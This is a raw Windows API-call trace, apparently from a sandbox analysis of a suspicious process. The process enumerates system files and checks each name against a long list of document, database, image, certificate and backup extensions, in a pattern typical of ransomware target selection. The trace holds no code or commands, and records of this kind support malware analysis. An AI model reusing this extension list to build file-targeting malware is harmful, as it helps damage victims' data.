	[0181.265] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d08f33b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1
	[0181.265] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0b5599, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1
	[0181.265] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0b5599, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x11db3100, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0
	[0181.265] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0181.266] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0181.266] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550fd74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9550fd74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9550fd74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19940, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1
	[0181.266] lstrlenW (lpString="ImagingDevices.exe") returned 18
	[0181.266] lstrlenW (lpString=".1cd") returned 4
	[0181.266] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0181.266] lstrlenW (lpString=".3ds") returned 4
	[0181.266] lstrcmpiW (lpString1=".3ds", lpString2=".exe") returned -1
	[0181.266] lstrlenW (lpString=".3fr") returned 4
	[0181.266] lstrcmpiW (lpString1=".3fr", lpString2=".exe") returned -1
	[0181.266] lstrlenW (lpString=".3g2") returned 4
	[0181.266] lstrcmpiW (lpString1=".3g2", lpString2=".exe") returned -1
	[0181.266] lstrlenW (lpString=".3gp") returned 4
	[0181.266] lstrcmpiW (lpString1=".3gp", lpString2=".exe") returned -1
	[0181.266] lstrlenW (lpString=".7z") returned 3
	[0181.266] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0181.266] lstrlenW (lpString=".accda") returned 6
	[0181.266] lstrcmpiW (lpString1=".accda", lpString2="es.exe") returned -1
	[0181.266] lstrlenW (lpString=".accdb") returned 6
	[0181.266] lstrcmpiW (lpString1=".accdb", lpString2="es.exe") returned -1
	[0181.266] lstrlenW (lpString=".accdc") returned 6
	[0181.266] lstrcmpiW (lpString1=".accdc", lpString2="es.exe") returned -1
	[0181.266] lstrlenW (lpString=".accde") returned 6
	[0181.266] lstrcmpiW (lpString1=".accde", lpString2="es.exe") returned -1
	[0181.266] lstrlenW (lpString=".accdt") returned 6
	[0181.266] lstrcmpiW (lpString1=".accdt", lpString2="es.exe") returned -1
	[0181.266] lstrlenW (lpString=".accdw") returned 6
	[0181.266] lstrcmpiW (lpString1=".accdw", lpString2="es.exe") returned -1
	[0181.266] lstrlenW (lpString=".adb") returned 4
	[0181.266] lstrcmpiW (lpString1=".adb", lpString2=".exe") returned -1
	[0181.266] lstrlenW (lpString=".adp") returned 4
	[0181.266] lstrcmpiW (lpString1=".adp", lpString2=".exe") returned -1
	[0181.266] lstrlenW (lpString=".ai") returned 3
	[0181.266] lstrcmpiW (lpString1=".ai", lpString2="exe") returned -1
	[0181.266] lstrlenW (lpString=".ai3") returned 4
	[0181.266] lstrcmpiW (lpString1=".ai3", lpString2=".exe") returned -1
	[0181.266] lstrlenW (lpString=".ai4") returned 4
	[0181.267] lstrcmpiW (lpString1=".ai4", lpString2=".exe") returned -1
	[0181.267] lstrlenW (lpString=".ai5") returned 4
	[0181.267] lstrcmpiW (lpString1=".ai5", lpString2=".exe") returned -1
	[0181.267] lstrlenW (lpString=".ai6") returned 4
	[0181.267] lstrcmpiW (lpString1=".ai6", lpString2=".exe") returned -1
	[0181.267] lstrlenW (lpString=".ai7") returned 4
	[0181.267] lstrcmpiW (lpString1=".ai7", lpString2=".exe") returned -1
	[0181.267] lstrlenW (lpString=".ai8") returned 4
	[0181.267] lstrcmpiW (lpString1=".ai8", lpString2=".exe") returned -1
	[0181.267] lstrlenW (lpString=".anim") returned 5
	[0181.267] lstrcmpiW (lpString1=".anim", lpString2="s.exe") returned -1
	[0181.267] lstrlenW (lpString=".arw") returned 4
	[0181.267] lstrcmpiW (lpString1=".arw", lpString2=".exe") returned -1
	[0181.267] lstrlenW (lpString=".as") returned 3
	[0181.267] lstrcmpiW (lpString1=".as", lpString2="exe") returned -1
	[0181.267] lstrlenW (lpString=".asa") returned 4
	[0181.267] lstrcmpiW (lpString1=".asa", lpString2=".exe") returned -1
	[0181.267] lstrlenW (lpString=".asc") returned 4
	[0181.267] lstrcmpiW (lpString1=".asc", lpString2=".exe") returned -1
	[0181.267] lstrlenW (lpString=".ascx") returned 5
	[0181.267] lstrcmpiW (lpString1=".ascx", lpString2="s.exe") returned -1
	[0181.267] lstrlenW (lpString=".asm") returned 4
	[0181.267] lstrcmpiW (lpString1=".asm", lpString2=".exe") returned -1
	[0181.267] lstrlenW (lpString=".asmx") returned 5
	[0181.267] lstrcmpiW (lpString1=".asmx", lpString2="s.exe") returned -1
	[0181.267] lstrlenW (lpString=".asp") returned 4
	[0181.267] lstrcmpiW (lpString1=".asp", lpString2=".exe") returned -1
	[0181.267] lstrlenW (lpString=".aspx") returned 5
	[0181.267] lstrcmpiW (lpString1=".aspx", lpString2="s.exe") returned -1
	[0181.267] lstrlenW (lpString=".asr") returned 4
	[0181.267] lstrcmpiW (lpString1=".asr", lpString2=".exe") returned -1
	[0181.267] lstrlenW (lpString=".asx") returned 4
	[0181.267] lstrcmpiW (lpString1=".asx", lpString2=".exe") returned -1
	[0181.267] lstrlenW (lpString=".avi") returned 4
	[0181.267] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1
	[0181.268] lstrlenW (lpString=".avs") returned 4
	[0181.268] lstrcmpiW (lpString1=".avs", lpString2=".exe") returned -1
	[0181.268] lstrlenW (lpString=".backup") returned 7
	[0181.268] lstrcmpiW (lpString1=".backup", lpString2="ces.exe") returned -1
	[0181.268] lstrlenW (lpString=".bak") returned 4
	[0181.268] lstrcmpiW (lpString1=".bak", lpString2=".exe") returned -1
	[0181.268] lstrlenW (lpString=".bay") returned 4
	[0181.268] lstrcmpiW (lpString1=".bay", lpString2=".exe") returned -1
	[0181.268] lstrlenW (lpString=".bd") returned 3
	[0181.268] lstrcmpiW (lpString1=".bd", lpString2="exe") returned -1
	[0181.268] lstrlenW (lpString=".bin") returned 4
	[0181.268] lstrcmpiW (lpString1=".bin", lpString2=".exe") returned -1
	[0181.268] lstrlenW (lpString=".bmp") returned 4
	[0181.268] lstrcmpiW (lpString1=".bmp", lpString2=".exe") returned -1
	[0181.268] lstrlenW (lpString=".bz2") returned 4
	[0181.268] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0181.268] lstrlenW (lpString=".c") returned 2
	[0181.268] lstrcmpiW (lpString1=".c", lpString2="xe") returned -1
	[0181.268] lstrlenW (lpString=".cdr") returned 4
	[0181.268] lstrcmpiW (lpString1=".cdr", lpString2=".exe") returned -1
	[0181.268] lstrlenW (lpString=".cer") returned 4
	[0181.268] lstrcmpiW (lpString1=".cer", lpString2=".exe") returned -1
	[0181.268] lstrlenW (lpString=".cf") returned 3
	[0181.268] lstrcmpiW (lpString1=".cf", lpString2="exe") returned -1
	[0181.268] lstrlenW (lpString=".cfc") returned 4
	[0181.268] lstrcmpiW (lpString1=".cfc", lpString2=".exe") returned -1
	[0181.268] lstrlenW (lpString=".cfm") returned 4
	[0181.268] lstrcmpiW (lpString1=".cfm", lpString2=".exe") returned -1
	[0181.268] lstrlenW (lpString=".cfml") returned 5
	[0181.268] lstrcmpiW (lpString1=".cfml", lpString2="s.exe") returned -1
	[0181.268] lstrlenW (lpString=".cfu") returned 4
	[0181.268] lstrcmpiW (lpString1=".cfu", lpString2=".exe") returned -1
	[0181.268] lstrlenW (lpString=".chm") returned 4
	[0181.268] lstrcmpiW (lpString1=".chm", lpString2=".exe") returned -1
	[0181.269] lstrlenW (lpString=".cin") returned 4
	[0181.269] lstrcmpiW (lpString1=".cin", lpString2=".exe") returned -1
	[0181.269] lstrlenW (lpString=".class") returned 6
	[0181.269] lstrcmpiW (lpString1=".class", lpString2="es.exe") returned -1
	[0181.269] lstrlenW (lpString=".clx") returned 4
	[0181.269] lstrcmpiW (lpString1=".clx", lpString2=".exe") returned -1
	[0181.269] lstrlenW (lpString=".config") returned 7
	[0181.269] lstrcmpiW (lpString1=".config", lpString2="ces.exe") returned -1
	[0181.269] lstrlenW (lpString=".cpp") returned 4
	[0181.269] lstrcmpiW (lpString1=".cpp", lpString2=".exe") returned -1
	[0181.269] lstrlenW (lpString=".cr2") returned 4
	[0181.269] lstrcmpiW (lpString1=".cr2", lpString2=".exe") returned -1
	[0181.269] lstrlenW (lpString=".crt") returned 4
	[0181.269] lstrcmpiW (lpString1=".crt", lpString2=".exe") returned -1
	[0181.269] lstrlenW (lpString=".crw") returned 4
	[0181.269] lstrcmpiW (lpString1=".crw", lpString2=".exe") returned -1
	[0181.269] lstrlenW (lpString=".cs") returned 3
	[0181.269] lstrcmpiW (lpString1=".cs", lpString2="exe") returned -1
	[0181.269] lstrlenW (lpString=".css") returned 4
	[0181.269] lstrcmpiW (lpString1=".css", lpString2=".exe") returned -1
	[0181.269] lstrlenW (lpString=".csv") returned 4
	[0181.269] lstrcmpiW (lpString1=".csv", lpString2=".exe") returned -1
	[0181.269] lstrlenW (lpString=".cub") returned 4
	[0181.269] lstrcmpiW (lpString1=".cub", lpString2=".exe") returned -1
	[0181.269] lstrlenW (lpString=".dae") returned 4
	[0181.269] lstrcmpiW (lpString1=".dae", lpString2=".exe") returned -1
	[0181.269] lstrlenW (lpString=".dat") returned 4
	[0181.269] lstrcmpiW (lpString1=".dat", lpString2=".exe") returned -1
	[0181.269] lstrlenW (lpString=".db") returned 3
	[0181.269] lstrcmpiW (lpString1=".db", lpString2="exe") returned -1
	[0181.269] lstrlenW (lpString=".dbf") returned 4
	[0181.269] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0181.270] lstrlenW (lpString=".dbx") returned 4
	[0181.270] lstrcmpiW (lpString1=".dbx", lpString2=".exe") returned -1
	[0181.270] lstrlenW (lpString=".dc3") returned 4
	[0181.270] lstrcmpiW (lpString1=".dc3", lpString2=".exe") returned -1
	[0181.270] lstrlenW (lpString=".dcm") returned 4
	[0181.270] lstrcmpiW (lpString1=".dcm", lpString2=".exe") returned -1
	[0181.270] lstrlenW (lpString=".dcr") returned 4
	[0181.270] lstrcmpiW (lpString1=".dcr", lpString2=".exe") returned -1
	[0181.270] lstrlenW (lpString=".der") returned 4
	[0181.270] lstrcmpiW (lpString1=".der", lpString2=".exe") returned -1
	[0181.270] lstrlenW (lpString=".dib") returned 4
	[0181.270] lstrcmpiW (lpString1=".dib", lpString2=".exe") returned -1
	[0181.270] lstrlenW (lpString=".dic") returned 4
	[0181.270] lstrcmpiW (lpString1=".dic", lpString2=".exe") returned -1
	[0181.270] lstrlenW (lpString=".dif") returned 4
	[0181.270] lstrcmpiW (lpString1=".dif", lpString2=".exe") returned -1
	[0181.270] lstrlenW (lpString=".divx") returned 5
	[0181.270] lstrcmpiW (lpString1=".divx", lpString2="s.exe") returned -1
	[0181.270] lstrlenW (lpString=".djvu") returned 5
	[0181.270] lstrcmpiW (lpString1=".djvu", lpString2="s.exe") returned -1
	[0181.270] lstrlenW (lpString=".dng") returned 4
	[0181.270] lstrcmpiW (lpString1=".dng", lpString2=".exe") returned -1
	[0181.270] lstrlenW (lpString=".doc") returned 4
	[0181.270] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0181.270] lstrlenW (lpString=".docm") returned 5
	[0181.270] lstrcmpiW (lpString1=".docm", lpString2="s.exe") returned -1
	[0181.270] lstrlenW (lpString=".docx") returned 5
	[0181.270] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0181.270] lstrlenW (lpString=".dot") returned 4
	[0181.270] lstrcmpiW (lpString1=".dot", lpString2=".exe") returned -1
	[0181.270] lstrlenW (lpString=".dotm") returned 5
	[0181.270] lstrcmpiW (lpString1=".dotm", lpString2="s.exe") returned -1
	[0181.270] lstrlenW (lpString=".dotx") returned 5
	[0181.270] lstrcmpiW (lpString1=".dotx", lpString2="s.exe") returned -1
	[0181.270] lstrlenW (lpString=".dpx") returned 4
	[0181.270] lstrcmpiW (lpString1=".dpx", lpString2=".exe") returned -1
	[0181.271] lstrlenW (lpString=".dqy") returned 4
	[0181.271] lstrcmpiW (lpString1=".dqy", lpString2=".exe") returned -1
	[0181.271] lstrlenW (lpString=".dsn") returned 4
	[0181.271] lstrcmpiW (lpString1=".dsn", lpString2=".exe") returned -1
	[0181.271] lstrlenW (lpString=".dt") returned 3
	[0181.271] lstrcmpiW (lpString1=".dt", lpString2="exe") returned -1
	[0181.271] lstrlenW (lpString=".dtd") returned 4
	[0181.271] lstrcmpiW (lpString1=".dtd", lpString2=".exe") returned -1
	[0181.271] lstrlenW (lpString=".dwg") returned 4
	[0181.271] lstrcmpiW (lpString1=".dwg", lpString2=".exe") returned -1
	[0181.271] lstrlenW (lpString=".dwt") returned 4
	[0181.271] lstrcmpiW (lpString1=".dwt", lpString2=".exe") returned -1
	[0181.271] lstrlenW (lpString=".dx") returned 3
	[0181.271] lstrcmpiW (lpString1=".dx", lpString2="exe") returned -1
	[0181.271] lstrlenW (lpString=".dxf") returned 4
	[0181.271] lstrcmpiW (lpString1=".dxf", lpString2=".exe") returned -1
	[0181.271] lstrlenW (lpString=".edml") returned 5
	[0181.271] lstrcmpiW (lpString1=".edml", lpString2="s.exe") returned -1
	[0181.271] lstrlenW (lpString=".efd") returned 4
	[0181.271] lstrcmpiW (lpString1=".efd", lpString2=".exe") returned -1
	[0181.271] lstrlenW (lpString=".elf") returned 4
	[0181.271] lstrcmpiW (lpString1=".elf", lpString2=".exe") returned -1
	[0181.271] lstrlenW (lpString=".emf") returned 4
	[0181.271] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1
	[0181.271] lstrlenW (lpString=".emz") returned 4
	[0181.271] lstrcmpiW (lpString1=".emz", lpString2=".exe") returned -1
	[0181.271] lstrlenW (lpString=".epf") returned 4
	[0181.271] lstrcmpiW (lpString1=".epf", lpString2=".exe") returned -1
	[0181.271] lstrlenW (lpString=".eps") returned 4
	[0181.271] lstrcmpiW (lpString1=".eps", lpString2=".exe") returned -1
	[0181.271] lstrlenW (lpString=".epsf") returned 5
	[0181.271] lstrcmpiW (lpString1=".epsf", lpString2="s.exe") returned -1
	[0181.271] lstrlenW (lpString=".epsp") returned 5
	[0181.272] lstrcmpiW (lpString1=".epsp", lpString2="s.exe") returned -1
	[0181.272] lstrlenW (lpString=".erf") returned 4
	[0181.272] lstrcmpiW (lpString1=".erf", lpString2=".exe") returned -1
	[0181.272] lstrlenW (lpString=".exr") returned 4
	[0181.272] lstrcmpiW (lpString1=".exr", lpString2=".exe") returned 1
	[0181.272] lstrlenW (lpString=".f4v") returned 4
	[0181.272] lstrcmpiW (lpString1=".f4v", lpString2=".exe") returned 1
	[0181.272] lstrlenW (lpString=".fido") returned 5
	[0181.272] lstrcmpiW (lpString1=".fido", lpString2="s.exe") returned -1
	[0181.272] lstrlenW (lpString=".flm") returned 4
	[0181.272] lstrcmpiW (lpString1=".flm", lpString2=".exe") returned 1
	[0181.272] lstrlenW (lpString=".flv") returned 4
	[0181.272] lstrcmpiW (lpString1=".flv", lpString2=".exe") returned 1
	[0181.272] lstrlenW (lpString=".frm") returned 4
	[0181.272] lstrcmpiW (lpString1=".frm", lpString2=".exe") returned 1
	[0181.272] lstrlenW (lpString=".fxg") returned 4
	[0181.272] lstrcmpiW (lpString1=".fxg", lpString2=".exe") returned 1
	[0181.272] lstrlenW (lpString=".geo") returned 4
	[0181.272] lstrcmpiW (lpString1=".geo", lpString2=".exe") returned 1
	[0181.272] lstrlenW (lpString=".gif") returned 4
	[0181.272] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1
	[0181.272] lstrlenW (lpString=".grs") returned 4
	[0181.272] lstrcmpiW (lpString1=".grs", lpString2=".exe") returned 1
	[0181.272] lstrlenW (lpString=".gz") returned 3
	[0181.272] lstrcmpiW (lpString1=".gz", lpString2="exe") returned -1
	[0181.272] lstrlenW (lpString=".h") returned 2
	[0181.272] lstrcmpiW (lpString1=".h", lpString2="xe") returned -1
	[0181.272] lstrlenW (lpString=".hdr") returned 4
	[0181.272] lstrcmpiW (lpString1=".hdr", lpString2=".exe") returned 1
	[0181.272] lstrlenW (lpString=".hpp") returned 4
	[0181.272] lstrcmpiW (lpString1=".hpp", lpString2=".exe") returned 1
	[0181.272] lstrlenW (lpString=".hta") returned 4
	[0181.272] lstrcmpiW (lpString1=".hta", lpString2=".exe") returned 1
	[0181.272] lstrlenW (lpString=".htc") returned 4
	[0181.272] lstrcmpiW (lpString1=".htc", lpString2=".exe") returned 1
	[0181.272] lstrlenW (lpString=".htm") returned 4
	[0181.272] lstrcmpiW (lpString1=".htm", lpString2=".exe") returned 1
	[0181.272] lstrlenW (lpString=".html") returned 5
	[0181.273] lstrcmpiW (lpString1=".html", lpString2="s.exe") returned -1
	[0181.273] lstrlenW (lpString=".icb") returned 4
	[0181.273] lstrcmpiW (lpString1=".icb", lpString2=".exe") returned 1
	[0181.273] lstrlenW (lpString=".ics") returned 4
	[0181.273] lstrcmpiW (lpString1=".ics", lpString2=".exe") returned 1
	[0181.273] lstrlenW (lpString=".iff") returned 4
	[0181.273] lstrcmpiW (lpString1=".iff", lpString2=".exe") returned 1
	[0181.273] lstrlenW (lpString=".inc") returned 4
	[0181.273] lstrcmpiW (lpString1=".inc", lpString2=".exe") returned 1
	[0181.273] lstrlenW (lpString=".indd") returned 5
	[0181.273] lstrcmpiW (lpString1=".indd", lpString2="s.exe") returned -1
	[0181.273] lstrlenW (lpString=".ini") returned 4
	[0181.273] lstrcmpiW (lpString1=".ini", lpString2=".exe") returned 1
	[0181.273] lstrlenW (lpString=".iqy") returned 4
	[0181.273] lstrcmpiW (lpString1=".iqy", lpString2=".exe") returned 1
	[0181.273] lstrlenW (lpString=".j2c") returned 4
	[0181.273] lstrcmpiW (lpString1=".j2c", lpString2=".exe") returned 1
	[0181.273] lstrlenW (lpString=".j2k") returned 4
	[0181.273] lstrcmpiW (lpString1=".j2k", lpString2=".exe") returned 1
	[0181.273] lstrlenW (lpString=".java") returned 5
	[0181.273] lstrcmpiW (lpString1=".java", lpString2="s.exe") returned -1
	[0181.273] lstrlenW (lpString=".jp2") returned 4
	[0181.273] lstrcmpiW (lpString1=".jp2", lpString2=".exe") returned 1
	[0181.273] lstrlenW (lpString=".jpc") returned 4
	[0181.273] lstrcmpiW (lpString1=".jpc", lpString2=".exe") returned 1
	[0181.273] lstrlenW (lpString=".jpe") returned 4
	[0181.273] lstrcmpiW (lpString1=".jpe", lpString2=".exe") returned 1
	[0181.273] lstrlenW (lpString=".jpeg") returned 5
	[0181.273] lstrcmpiW (lpString1=".jpeg", lpString2="s.exe") returned -1
	[0181.273] lstrlenW (lpString=".jpf") returned 4
	[0181.273] lstrcmpiW (lpString1=".jpf", lpString2=".exe") returned 1
	[0181.273] lstrlenW (lpString=".jpg") returned 4
	[0181.273] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0181.273] lstrlenW (lpString=".jpx") returned 4
	[0181.273] lstrcmpiW (lpString1=".jpx", lpString2=".exe") returned 1
	[0181.274] lstrlenW (lpString=".js") returned 3
	[0181.274] lstrcmpiW (lpString1=".js", lpString2="exe") returned -1
	[0181.274] lstrlenW (lpString=".jsf") returned 4
	[0181.274] lstrcmpiW (lpString1=".jsf", lpString2=".exe") returned 1
	[0181.274] lstrlenW (lpString=".json") returned 5
	[0181.274] lstrcmpiW (lpString1=".json", lpString2="s.exe") returned -1
	[0181.274] lstrlenW (lpString=".jsp") returned 4
	[0181.274] lstrcmpiW (lpString1=".jsp", lpString2=".exe") returned 1
	[0181.274] lstrlenW (lpString=".kdc") returned 4
	[0181.274] lstrcmpiW (lpString1=".kdc", lpString2=".exe") returned 1
	[0181.274] lstrlenW (lpString=".kmz") returned 4
	[0181.274] lstrcmpiW (lpString1=".kmz", lpString2=".exe") returned 1
	[0181.274] lstrlenW (lpString=".kwm") returned 4
	[0181.274] lstrcmpiW (lpString1=".kwm", lpString2=".exe") returned 1
	[0181.274] lstrlenW (lpString=".lasso") returned 6
	[0181.274] lstrcmpiW (lpString1=".lasso", lpString2="es.exe") returned -1
	[0181.274] lstrlenW (lpString=".lbi") returned 4
	[0181.274] lstrcmpiW (lpString1=".lbi", lpString2=".exe") returned 1
	[0181.274] lstrlenW (lpString=".lgf") returned 4
	[0181.274] lstrcmpiW (lpString1=".lgf", lpString2=".exe") returned 1
	[0181.274] lstrlenW (lpString=".lgp") returned 4
	[0181.274] lstrcmpiW (lpString1=".lgp", lpString2=".exe") returned 1
	[0181.274] lstrlenW (lpString=".log") returned 4
	[0181.274] lstrcmpiW (lpString1=".log", lpString2=".exe") returned 1
	[0181.274] lstrlenW (lpString=".m1v") returned 4
	[0181.274] lstrcmpiW (lpString1=".m1v", lpString2=".exe") returned 1
	[0181.274] lstrlenW (lpString=".m4a") returned 4
	[0181.274] lstrcmpiW (lpString1=".m4a", lpString2=".exe") returned 1
	[0181.274] lstrlenW (lpString=".m4v") returned 4
	[0181.274] lstrcmpiW (lpString1=".m4v", lpString2=".exe") returned 1
	[0181.274] lstrlenW (lpString=".max") returned 4
	[0181.274] lstrcmpiW (lpString1=".max", lpString2=".exe") returned 1
	[0181.274] lstrlenW (lpString=".md") returned 3
	[0181.274] lstrcmpiW (lpString1=".md", lpString2="exe") returned -1
	[0181.274] lstrlenW (lpString=".mda") returned 4
	[0181.274] lstrcmpiW (lpString1=".mda", lpString2=".exe") returned 1
	[0181.274] lstrlenW (lpString=".mdb") returned 4
	[0181.274] lstrcmpiW (lpString1=".mdb", lpString2=".exe") returned 1
	[0181.275] lstrlenW (lpString=".mde") returned 4
	[0181.275] lstrcmpiW (lpString1=".mde", lpString2=".exe") returned 1
	[0181.275] lstrlenW (lpString=".mdf") returned 4
	[0181.275] lstrcmpiW (lpString1=".mdf", lpString2=".exe") returned 1
	[0181.275] lstrlenW (lpString=".mdw") returned 4
	[0181.275] lstrcmpiW (lpString1=".mdw", lpString2=".exe") returned 1
	[0181.275] lstrlenW (lpString=".mef") returned 4
	[0181.275] lstrcmpiW (lpString1=".mef", lpString2=".exe") returned 1
	[0181.275] lstrlenW (lpString=".mft") returned 4
	[0181.275] lstrcmpiW (lpString1=".mft", lpString2=".exe") returned 1
	[0181.275] lstrlenW (lpString=".mfw") returned 4
	[0181.275] lstrcmpiW (lpString1=".mfw", lpString2=".exe") returned 1
	[0181.275] lstrlenW (lpString=".mht") returned 4
	[0181.275] lstrcmpiW (lpString1=".mht", lpString2=".exe") returned 1
	[0181.275] lstrlenW (lpString=".mhtml") returned 6
	[0181.275] lstrcmpiW (lpString1=".mhtml", lpString2="es.exe") returned -1
	[0181.275] lstrlenW (lpString=".mka") returned 4
	[0181.275] lstrcmpiW (lpString1=".mka", lpString2=".exe") returned 1
	[0181.275] lstrlenW (lpString=".mkidx") returned 6
	[0181.275] lstrcmpiW (lpString1=".mkidx", lpString2="es.exe") returned -1
	[0181.275] lstrlenW (lpString=".mkv") returned 4
	[0181.275] lstrcmpiW (lpString1=".mkv", lpString2=".exe") returned 1
	[0181.275] lstrlenW (lpString=".mos") returned 4
	[0181.275] lstrcmpiW (lpString1=".mos", lpString2=".exe") returned 1
	[0181.275] lstrlenW (lpString=".mov") returned 4
	[0181.275] lstrcmpiW (lpString1=".mov", lpString2=".exe") returned 1
	[0181.275] lstrlenW (lpString=".mp3") returned 4
	[0181.275] lstrcmpiW (lpString1=".mp3", lpString2=".exe") returned 1
	[0181.275] lstrlenW (lpString=".mp4") returned 4
	[0181.275] lstrcmpiW (lpString1=".mp4", lpString2=".exe") returned 1
	[0181.275] lstrlenW (lpString=".mpeg") returned 5
	[0181.275] lstrcmpiW (lpString1=".mpeg", lpString2="s.exe") returned -1
	[0181.275] lstrlenW (lpString=".mpg") returned 4
	[0181.275] lstrcmpiW (lpString1=".mpg", lpString2=".exe") returned 1
	[0181.275] lstrlenW (lpString=".mpv") returned 4
	[0181.275] lstrcmpiW (lpString1=".mpv", lpString2=".exe") returned 1
	[0181.275] lstrlenW (lpString=".mrw") returned 4
	[0181.276] lstrcmpiW (lpString1=".mrw", lpString2=".exe") returned 1
	[0181.276] lstrlenW (lpString=".msg") returned 4
	[0181.276] lstrcmpiW (lpString1=".msg", lpString2=".exe") returned 1
	[0181.276] lstrlenW (lpString=".mxl") returned 4
	[0181.276] lstrcmpiW (lpString1=".mxl", lpString2=".exe") returned 1
	[0181.276] lstrlenW (lpString=".myd") returned 4
	[0181.276] lstrcmpiW (lpString1=".myd", lpString2=".exe") returned 1
	[0181.276] lstrlenW (lpString=".myi") returned 4
	[0181.276] lstrcmpiW (lpString1=".myi", lpString2=".exe") returned 1
	[0181.276] lstrlenW (lpString=".nef") returned 4
	[0181.276] lstrcmpiW (lpString1=".nef", lpString2=".exe") returned 1
	[0181.276] lstrlenW (lpString=".nrw") returned 4
	[0181.276] lstrcmpiW (lpString1=".nrw", lpString2=".exe") returned 1
	[0181.276] lstrlenW (lpString=".obj") returned 4
	[0181.276] lstrcmpiW (lpString1=".obj", lpString2=".exe") returned 1
	[0181.276] lstrlenW (lpString=".odb") returned 4
	[0181.276] lstrcmpiW (lpString1=".odb", lpString2=".exe") returned 1
	[0181.276] lstrlenW (lpString=".odc") returned 4
	[0181.276] lstrcmpiW (lpString1=".odc", lpString2=".exe") returned 1
	[0181.276] lstrlenW (lpString=".odm") returned 4
	[0181.276] lstrcmpiW (lpString1=".odm", lpString2=".exe") returned 1
	[0181.276] lstrlenW (lpString=".odp") returned 4
	[0181.276] lstrcmpiW (lpString1=".odp", lpString2=".exe") returned 1
	[0181.276] lstrlenW (lpString=".ods") returned 4
	[0181.276] lstrcmpiW (lpString1=".ods", lpString2=".exe") returned 1
	[0181.276] lstrlenW (lpString=".oft") returned 4
	[0181.276] lstrcmpiW (lpString1=".oft", lpString2=".exe") returned 1
	[0181.276] lstrlenW (lpString=".one") returned 4
	[0181.276] lstrcmpiW (lpString1=".one", lpString2=".exe") returned 1
	[0181.276] lstrlenW (lpString=".onepkg") returned 7
	[0181.276] lstrcmpiW (lpString1=".onepkg", lpString2="ces.exe") returned -1
	[0181.276] lstrlenW (lpString=".onetoc2") returned 8
	[0181.276] lstrcmpiW (lpString1=".onetoc2", lpString2="ices.exe") returned -1
	[0181.276] lstrlenW (lpString=".opt") returned 4
	[0181.276] lstrcmpiW (lpString1=".opt", lpString2=".exe") returned 1
	[0181.276] lstrlenW (lpString=".oqy") returned 4
	[0181.276] lstrcmpiW (lpString1=".oqy", lpString2=".exe") returned 1
	[0181.277] lstrlenW (lpString=".orf") returned 4
	[0181.277] lstrcmpiW (lpString1=".orf", lpString2=".exe") returned 1
	[0181.277] lstrlenW (lpString=".p12") returned 4
	[0181.277] lstrcmpiW (lpString1=".p12", lpString2=".exe") returned 1
	[0181.277] lstrlenW (lpString=".p7b") returned 4
	[0181.277] lstrcmpiW (lpString1=".p7b", lpString2=".exe") returned 1
	[0181.277] lstrlenW (lpString=".p7c") returned 4
	[0181.277] lstrcmpiW (lpString1=".p7c", lpString2=".exe") returned 1
	[0181.277] lstrlenW (lpString=".pam") returned 4
	[0181.277] lstrcmpiW (lpString1=".pam", lpString2=".exe") returned 1
	[0181.277] lstrlenW (lpString=".pbm") returned 4
	[0181.277] lstrcmpiW (lpString1=".pbm", lpString2=".exe") returned 1
	[0181.277] lstrlenW (lpString=".pct") returned 4
	[0181.277] lstrcmpiW (lpString1=".pct", lpString2=".exe") returned 1
	[0181.277] lstrlenW (lpString=".pcx") returned 4
	[0181.277] lstrcmpiW (lpString1=".pcx", lpString2=".exe") returned 1
	[0181.277] lstrlenW (lpString=".pdd") returned 4
